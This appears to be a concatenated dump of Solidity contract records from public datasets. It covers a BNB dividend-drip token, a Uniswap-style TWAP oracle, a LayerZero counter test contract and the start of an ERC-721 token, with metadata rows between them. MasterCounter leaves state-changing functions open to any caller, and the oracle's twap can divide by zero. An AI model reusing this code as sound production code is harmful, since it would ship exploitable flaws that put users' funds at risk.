return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the token balance of any single address.
function bnbBalance(address _customerAddress) public view returns (uint256) {
return _customerAddress.balance;
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function approveSwap() internal {
require(cToken.approve(swapAddress, MAX_UINT), "Need to approve swap before selling tokens");
}
function sellTokens(uint256 amount) internal returns (uint256) {
approveSwap();
return swap.tokenToBnbSwapInput(amount,1);
}
function sellBnb(uint256 amount) internal returns (uint256){
return swap.bnbToTokenSwapInput.value(amount)(1);
}
function calculateLiquidityToBnb(uint256 _amount) public view returns (uint256) {
if (_amount > 0){
(uint bnbAmount, uint tokenAmount) = swap.getLiquidityToReserveInputPrice(_amount);
return bnbAmount.add(swap.getTokenToBnbInputPrice(tokenAmount));
} else {
return 0;
}
}
function calculateTaxedBnbToTokenLiquidity(uint256 _amount) public view returns (uint256) {
if (_amount > 0){
uint amount = swap.getBnbToLiquidityInputPrice(_amount.div(2));
return amount.mul(SafeMath.sub(100,entryFee_)).div(100);
} else {
return 0;
}
}
function calculateTaxedLiquidityToBnb(uint256 _amount) public view returns (uint256){
if (_amount > 0){
_amount = _amount.mul(SafeMath.sub(100,entryFee_)).div(100);
(uint bnbAmount, uint tokenAmount) = swap.getLiquidityToReserveInputPrice(_amount);
return bnbAmount.add(swap.getTokenToBnbInputPrice(tokenAmount));
} else {
return 0;
}
}
function sweep() public returns (uint256){
uint balanceOriginTokens = collateralBalance();
if (balanceOriginTokens >= 1e18 && tokenSupply_ > 0){
uint halfTokens = balanceOriginTokens.div(2);
uint balanceBnb = sellTokens(halfTokens);
uint balanceTokens = collateralBalance();
//the secret sauce for adding liquidity properly
uint bnbAmount = SafeMath.min(swap.getTokenToBnbInputPrice(balanceTokens), balanceBnb);
//If you don't get bnbAmount from the contract you will have pain
uint liquidAmount = swap.addLiquidity.value(bnbAmount)(1, balanceTokens);
//half goes to lock and the other half goes to Stronghold LPs
uint halfLiq = liquidAmount.div(2);
uint sweepBalance = liquidAmount.sub(halfLiq);
//Add the new liquidity to drip dividends;
dividendBalance += sweepBalance;
//Add the new liquidity to locked; Stronghold should show up on the leaderboard
lockedBalance += halfLiq;
emit onLiquiditySweep(halfLiq);
emit onLiquidityProviderReward(halfLiq);
return liquidAmount;
} else {
return 0;
}
}
/// @dev Stats of any single address
function statsOf(address _customerAddress) public view returns (uint256[15] memory){
Stats memory s = stats[_customerAddress];
uint256[15] memory statArray = [s.invested, s.withdrawn, s.rewarded, s.taxes, s.contributed, s.transferredTokens, s.receivedTokens, s.xInvested, s.xRewarded, s.xContributed, s.xWithdrawn, s.xTransferredTokens, s.xReceivedTokens, s.reinvested, s.xReinvested];
return statArray;
}
/// @dev Calculate daily estimate of swap tokens awarded in BNB
function dailyEstimateBnb(address _customerAddress) public view returns (uint256){
if (tokenSupply_ > 0){
uint256 share = dividendBalance.mul(payoutRate_).div(100);
uint256 estimate = share.mul(tokenBalanceLedger_[_customerAddress]).div(tokenSupply_);
(uint bnbAmount, uint tokenAmount) = swap.getLiquidityToReserveInputPrice(estimate);
return bnbAmount.add(swap.getTokenToBnbInputPrice(tokenAmount));
} else {
return 0;
}
}
/// @dev Calculate daily estimate of swap tokens awarded
function dailyEstimate(address _customerAddress) public view returns (uint256){
uint256 share = dividendBalance.mul(payoutRate_).div(100);
return (tokenSupply_ > 0) ? share.mul(tokenBalanceLedger_[_customerAddress]).div(tokenSupply_) : 0;
}
/// @dev Distribute undividend in and out fees across drip pools and instant divs
function allocateFees(uint fee) private {
uint _share = fee.div(100);
uint _drip = _share.mul(dripFee); //40 --> 50
uint _instant = _share.mul(instantFee); //40 --> 20
uint _lock = fee.safeSub(_drip + _instant); //20 --> 30
if (tokenSupply_ > 0) {
//Apply divs
profitPerShare_ = SafeMath.add(profitPerShare_, (_instant * magnitude) / tokenSupply_);
}
//Add to dividend drip pools
dividendBalance += _drip;
//Add locked tokens to global count;
lockedBalance += _lock;
}
// @dev Distribute drip pools
function distribute() private {
// @Bb updates balance data of contract
if (now.safeSub(lastBalance_) > balanceInterval && totalTokenBalance() > 0) {
(uint bnbAmount, uint tokenAmount) = swap.getLiquidityToReserveInputPrice(totalTokenBalance());
emit onBalance(bnbAmount, tokenAmount, now);
lastBalance_ = now;
}
if (SafeMath.safeSub(now, lastPayout) > distributionInterval && tokenSupply_ > 0) {
//A portion of the dividend is paid out according to the rate
uint256 share = dividendBalance.mul(payoutRate_).div(100).div(24 hours);
//divide the profit by seconds in the day
uint256 profit = share * now.safeSub(lastPayout);
//share times the amount of time elapsed
dividendBalance = dividendBalance.safeSub(profit);
//Apply divs
profitPerShare_ = SafeMath.add(profitPerShare_, (profit * magnitude) / tokenSupply_);
sweep();
lastPayout = now;
}
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(address _customerAddress, uint256 _incomingtokens) internal returns (uint256) {
if (stats[_customerAddress].invested == 0 && stats[_customerAddress].receivedTokens == 0) {
players += 1;
}
totalTxs += 1;
// data setup @bb _incomingtokens is 'LP token'
uint256 _undividedDividends = SafeMath.mul(_incomingtokens, entryFee_) / 100; // 10% of drops
uint256 _amountOfTokens = SafeMath.sub(_incomingtokens, _undividedDividends); // 90% of drops (100% - 10% above)
uint256 bnbAmount = calculateLiquidityToBnb(_incomingtokens); //total bnb worth of lp token
// fire event
emit onTokenPurchase(_customerAddress, bnbAmount, _amountOfTokens, now);
// yes we know that the safemath function automatically rules out the "greater then" equation.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_, "Tokens need to be positive");
// we can't give people infinite eth
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ += _amountOfTokens;
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
//drip and buybacks; instant requires being called after supply is updated
allocateFees(_undividedDividends);
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_customerAddress] += _updatedPayouts;
//Stats
stats[_customerAddress].taxes += _undividedDividends;
stats[_customerAddress].invested += bnbAmount;
stats[_customerAddress].xInvested += 1;
return _amountOfTokens;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
if (b > a) {
return 0;
} else {
return a - b;
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
// splash token 0xe0046B0873132643C338291F399143F8EA4c38f6
// fountain 0x620DD286F245d2E5Ca4C7f9A4F5fDcbbd5dFfC83
| 74,306 | 12,779 |
382ef43a73762a987096f56c8afbf3615035417f2c5f62187799b39a87611c5e
| 23,338 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/39/395ba8073f83c594da3c1045f8791bb03efbaec3_Oracle.sol
| 4,720 | 16,706 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 316,418 | 12,780 |
84b00b565b88f4fe7d8878fd51e2f06ae3ebef2ec8e076dfcc22f60eba01bf2e
| 15,757 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d0/D054e1deCeABada70C265ff31cb9E2B4536Fd11C_MasterCounter.sol
| 2,701 | 11,798 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface ILayerZeroReceiver {
// @notice LayerZero endpoint will invoke this function to deliver the message on the destination
// @param _srcChainId - the source endpoint identifier
// @param _srcAddress - the source sending contract address from the source chain
// @param _nonce - the ordered message nonce
// @param _payload - the signed payload is the UA bytes has encoded to be sent
function lzReceive(uint16 _srcChainId,
bytes calldata _srcAddress,
uint64 _nonce,
bytes calldata _payload) external;
}
interface ICounterDeployment is ILayerZeroReceiver {
event DebugEvent(string log);
event DebugEventWithNum(string log, int256 number);
event CountUpdated(address indexed satelliteCounterAddress, int256 value, Operation op);
event CountRetrieved(address indexed viewingSatelliteCounterAddress,
address indexed viewedSatelliteCounterAddress,
int256 count);
event CountReceived(address indexed viewingSatelliteCounterAddress,
address indexed viewedSatelliteCounterAddress,
int256 count);
enum Operation {
ADD,
SUB,
MUL
}
enum Function {
UPDATE_COUNT,
GET_COUNT
}
function updateCount(int256 _value, Operation _op, address _satelliteCounterAddress) external payable;
function getCount(address _satelliteCounterAddress) external payable returns (int256);
function send(uint16 _dstChainId, bytes memory _dstBytesAddress, bytes memory _payload) external payable;
}
interface ILayerZeroUserApplicationConfig {
// @notice generic config getter/setter for user app
function setConfig(uint16 _version,
uint256 _configType,
bytes calldata _config) external;
function getConfig(uint16 _version,
uint16 _chainId,
address _userApplication,
uint256 _configType) external view returns (bytes memory);
// @notice LayerZero versions. Send/Receive can be different versions during migration
function setSendVersion(uint16 version) external;
function setReceiveVersion(uint16 version) external;
function getSendVersion() external view returns (uint16);
function getReceiveVersion() external view returns (uint16);
// @notice Only in extreme cases where the UA needs to resume the message flow
function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress)
external;
}
interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig {
// @notice send a LayerZero message to the specified address at a LayerZero endpoint.
// @param _chainId - the destination chain identifier
// @param _payload - a custom bytes payload to send to the destination contract
// @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction
function send(uint16 _chainId,
bytes calldata _destination,
bytes calldata _payload,
address payable refundAddress,
address _zroPaymentAddress,
bytes calldata _adapterParams) external payable;
// @notice get the inboundNonce of a receiver from a source chain which could be EVM or non-EVM chain
// @param _srcChainID - the source chain identifier
// @param _srcAddress - the source chain contract address
function getInboundNonce(uint16 _srcChainID, bytes calldata _srcAddress)
external
view
returns (uint64);
// @notice get the outboundNonce from this source chain which, consequently, is always an EVM
// @param _srcAddress - the source chain contract address
function getOutboundNonce(uint16 _dstChainID, address _srcAddress)
external
view
returns (uint64);
// @param _dstChainId - the destination chain identifier
// @param _userApplication - the user app address on this EVM chain
// @param _payload - the custom message to send over LayerZero
// @param _payInZRO - if false, user app pays the protocol fee in native token
function estimateFees(uint16 _dstChainId,
address _userApplication,
bytes calldata _payload,
bool _payInZRO,
bytes calldata _adapterParam) external view returns (uint256 nativeFee, uint256 zroFee);
// @notice get this Endpoint's immutable source identifier
function getEndpointId() external view returns (uint16);
// @notice the interface to retry failed message on this Endpoint destination
// @param _srcChainID - the source chain identifier
// @param _srcAddress - the source chain contract address
// @param _dstAddress - the destination chain contract address
function retryPayload(uint16 _srcChainId,
bytes calldata _srcAddress,
address _dstAddress) external;
// @notice query if any STORED payload (message blocking) at the endpoint.
// @param _srcChainID - the source chain identifier
// @param _srcAddress - the source chain contract address
// @param _dstAddress - the destination chain contract address
function hasStoredPayload(uint16 _srcChainId,
bytes calldata _srcAddress,
address _dstAddress) external view returns (bool);
// @notice query if the _libraryAddress is valid for sending msgs.
// @param _userApplication - the user app address on this EVM chain
// @param _libraryAddress - the address of the layerzero library
function isValidSendLibrary(address _userApplication,
address _libraryAddress) external view returns (bool);
// @notice query if the _libraryAddress is valid for receiving msgs.
// @param _userApplication - the user app address on this EVM chain
// @param _libraryAddress - the address of the layerzero library
function isValidReceiveLibrary(address _userApplication,
address _libraryAddress) external view returns (bool);
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract MasterCounter is ICounterDeployment, ReentrancyGuard {
mapping(address => int256) public counter;
modifier owningEndpointOnly() {
require(msg.sender == address(endpoint), "owning endpoint only");
_;
}
ILayerZeroEndpoint public endpoint;
constructor(address _endpoint) payable {
emit DebugEventWithNum("Master: constructor() called", int256(msg.value));
endpoint = ILayerZeroEndpoint(_endpoint);
emit DebugEventWithNum("Master: constructor() complete", int256(msg.value));
}
function updateCount(int256 _value,
Operation _op,
address _satelliteCounterAddress) public payable override(ICounterDeployment) {
emit DebugEventWithNum("Master: updateCount() called", _value);
if (Operation.ADD == _op)
{
counter[_satelliteCounterAddress] += _value;
emit DebugEventWithNum("Master: added value", _value);
}
else if (Operation.SUB == _op)
{
counter[_satelliteCounterAddress] -= _value;
emit DebugEventWithNum("Master: subtracted value", _value);
}
else if (Operation.MUL == _op)
{
counter[_satelliteCounterAddress] *= _value;
emit DebugEventWithNum("Master: multiplied value", _value);
}
else
{
emit DebugEventWithNum("Master: invalid operation", _value);
require(false, "invalid operation");
}
emit DebugEventWithNum("Master: updateCount() complete", _value);
}
function getCount(address _satelliteCounterAddress) public payable override(ICounterDeployment) returns (int256 count) {
emit DebugEventWithNum("Master: getCount() called", count);
count = counter[_satelliteCounterAddress];
emit DebugEventWithNum("Master: getCount() complete", count);
}
function send(uint16 _dstChainId,
bytes memory _dstBytesAddress,
bytes memory _payload) public payable override(ICounterDeployment) {
emit DebugEventWithNum("Master: send() called", int256(msg.value));
endpoint.send{value: msg.value}(_dstChainId,
_dstBytesAddress,
_payload,
payable(msg.sender),
address(0),
bytes(""));
emit DebugEventWithNum("Master: send() complete", int256(msg.value));
}
function lzReceive(uint16 _srcChainId,
bytes memory _srcAddress,
uint64 ,
bytes memory _payload) external override(ILayerZeroReceiver) nonReentrant owningEndpointOnly {
emit DebugEvent("Master: lzReceive() called");
(Function sendingFunction,
int256 value,
Operation op,
address satelliteCounterAddress) = abi.decode(_payload, (Function, int256, Operation, address));
if (Function.UPDATE_COUNT == sendingFunction)
{
emit DebugEventWithNum("Master: case(updateCount) entered", value);
require(getAddress(_srcAddress) == satelliteCounterAddress, "owning satellite only");
emit DebugEventWithNum("Master: calling updateCount...", value);
updateCount(value, op, satelliteCounterAddress);
emit DebugEventWithNum("Master: count updated", value);
emit CountUpdated(satelliteCounterAddress, value, op);
}
else if (Function.GET_COUNT == sendingFunction)
{
emit DebugEventWithNum("Master: case(getCount) entered", value);
emit DebugEventWithNum("Master: calling getCount...", value);
int256 count = getCount(satelliteCounterAddress);
emit DebugEventWithNum("Master: count retrieved", value);
emit CountRetrieved(getAddress(_srcAddress), satelliteCounterAddress, count);
bytes memory payload = abi.encode(count,
satelliteCounterAddress);
send(_srcChainId, _srcAddress, payload);
}
else
{
emit DebugEventWithNum("Master: invalid sending function", value);
require(false, "invalid sending function");
}
emit DebugEventWithNum("Master: lzRecieve() complete", value);
}
function getAddress(bytes memory _bytesAddress) private returns (address convertedAddress) {
emit DebugEvent("Master: getAddress() called");
assembly {
convertedAddress := mload(add(_bytesAddress, 20))
}
emit DebugEvent("Master: getAddress() complete");
}
}
| 103,685 | 12,781 |
48b903bf8cd09c6c92897c2fc896880aa8b4dce447b119cd719ade1319c4230b
| 15,470 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0x2a605B89C3ddf839126DaCCd3FDAF6dF8C18DF76.sol
| 3,893 | 14,267 |
pragma solidity ^0.4.18;
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract CryptoSocialMediaToken is ERC721 {
// Modified CryptoCelebs contract
// Note: "Item" refers to a SocialMedia asset.
/// @dev The Birth event is fired whenever a new item comes into existence.
event Birth(uint256 tokenId, string name, address owner, bytes32 message);
